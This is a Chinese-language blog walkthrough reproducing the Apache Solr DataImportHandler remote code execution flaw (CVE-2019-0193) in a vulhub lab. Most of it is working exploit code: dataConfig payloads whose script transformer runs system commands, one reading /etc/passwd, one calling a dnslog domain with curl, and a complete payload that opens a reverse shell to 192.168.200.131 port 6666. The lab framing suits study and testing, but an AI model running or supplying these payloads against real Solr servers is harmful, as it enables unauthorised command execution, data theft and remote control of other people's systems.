Apache Solr RCE(CVE-2019-0193)--vulhub

Apache Solr RCE(CVE-2019-0193)

其原理主要基于Solr的DataImportHandler(数据导入处理器)模块,这个模块允许用户通过配置文件(dataConfig)来定义数据的导入过程,在dataConfig中,用户可以定义JavaScript函数来转换或处理数据。如果这些脚本没有得到适当的限制,攻击者可以利用这一点执行任意代码。

Apache Solr版本小于8.2.0

docker搭建需要额外一步

bash 复制代码
docker compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db  -force

漏洞复现

原始poc

复制代码
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/ccc9wy");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

实现不了,更新了,但文件没创建

RCE

先在本机搭一个poc.xml

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<RDF>
<item/>
</RDF>

调整一下poc

复制代码
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(row){ 
            var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cat /etc/passwd").getInputStream()));
            var result = [];
            while(true) {
              var oneline = bufReader.readLine();
              result.push( oneline );
              if(!oneline) break; 
            }
            row.put("title",result.join("\n\r")); 
            return row;
          }
  ]]></script>
  <document>
    <entity name="whatever"
            url="http://192.168.1.250/poc.xml"
            processor="XPathEntityProcessor"
            forEach="/RDF/item"
            transformer="script:poc" />
  </document>
</dataConfig>

抓个包查看一下,执行poc时抓包

放到重发器中可以看到命令执行结果

使用dnslog测试

复制代码
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(row){ 
            var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("curl n6xis3.dnslog.cn").getInputStream()));
            var result = [];
            while(true) {
              var oneline = bufReader.readLine();
              result.push( oneline );
              if(!oneline) break; 
            }
            row.put("title",result.join("\n\r")); 
            return row;
          }
  ]]></script>
  <document>
    <entity name="whatever"
            url="http://192.168.1.250/poc.xml"
            processor="XPathEntityProcessor"
            forEach="/RDF/item"
            transformer="script:poc" />
  </document>
</dataConfig>

执行后成功收到结果

反弹shell

bash 复制代码
/bin/bash -c bash$IFS$9-i>&/dev/tcp/192.168.200.131/6666<&1

完整poc

复制代码
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(row){ 
            var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("/bin/bash -c bash$IFS$9-i>&/dev/tcp/192.168.200.131/6666<&1").getInputStream()));
            var result = [];
            while(true) {
              var oneline = bufReader.readLine();
              result.push( oneline );
              if(!oneline) break; 
            }
            row.put("title",result.join("\n\r")); 
            return row;
          }
  ]]></script>
  <document>
    <entity name="whatever"
            url="http://192.168.1.250/poc.xml"
            processor="XPathEntityProcessor"
            forEach="/RDF/item"
            transformer="script:poc" />
  </document>
</dataConfig>

成功获取反弹shell

相关推荐
其实防守也摸鱼1 小时前
Cylab在线靶场——挑战图书馆初学者指南
服务器·前端·数据库·chrome·安全·网络安全·靶场
m0_715674438 小时前
可视化易用·低误报率·跨区域部署:知源-AI数据分类分级系统在金融行业的落地实践
网络·安全·网络安全
青企通10 小时前
电商小程序购物车与库存扣减:SKU 模型、合并规则与防超卖实践
小程序·apache
愤怒火龙果14 小时前
AI攻防 AIRT03-RAG Exploitation & Vector Database Attacks
数据库·人工智能·网络安全
严谨的麻辣烫16 小时前
静态代理 IP 的出口一致性如何验证?Python 请求检测与异常排查
开发语言·python·http·网络安全
YFJ_mily17 小时前
【10-12月优质学术会议合集】会议覆盖人工智能、大数据、高端装备、软件与网络安全 、计算机视觉技术等热门方向
算法·安全·web安全·网络安全·软件·rdlink研发家
墨云安全20 小时前
系统安全检测方案怎么写?从资产清点到复测闭环的技术框架
安全·网络安全·渗透测试·系统安全
福芯微电子有限公司nfc1 天前
国产收音芯片 FSV4755:多波段调谐与高集成设计,赋能多种音频终端
网络协议·网络安全·音视频·信息与通信·信号处理
学逆向的1 天前
C printf原型解析
c语言·开发语言·网络安全
李纲明1 天前
WordPress 首页正常、内页全 404:固定链接与伪静态规则排查步骤(Apache / Nginx)
nginx·apache·wordpress